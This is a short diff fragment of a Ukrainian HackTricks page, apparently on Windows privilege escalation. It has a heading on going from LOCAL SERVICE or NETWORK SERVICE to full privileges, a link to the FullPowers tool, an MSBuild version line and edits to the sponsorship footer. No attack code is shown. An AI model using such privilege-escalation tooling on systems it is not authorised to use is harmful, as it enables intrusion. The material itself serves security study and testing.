### Від LOCAL SERVICE або NETWORK SERVICE до повних привілей
**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
@ -1439,11 +1443,11 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
</details>
{% endhint %}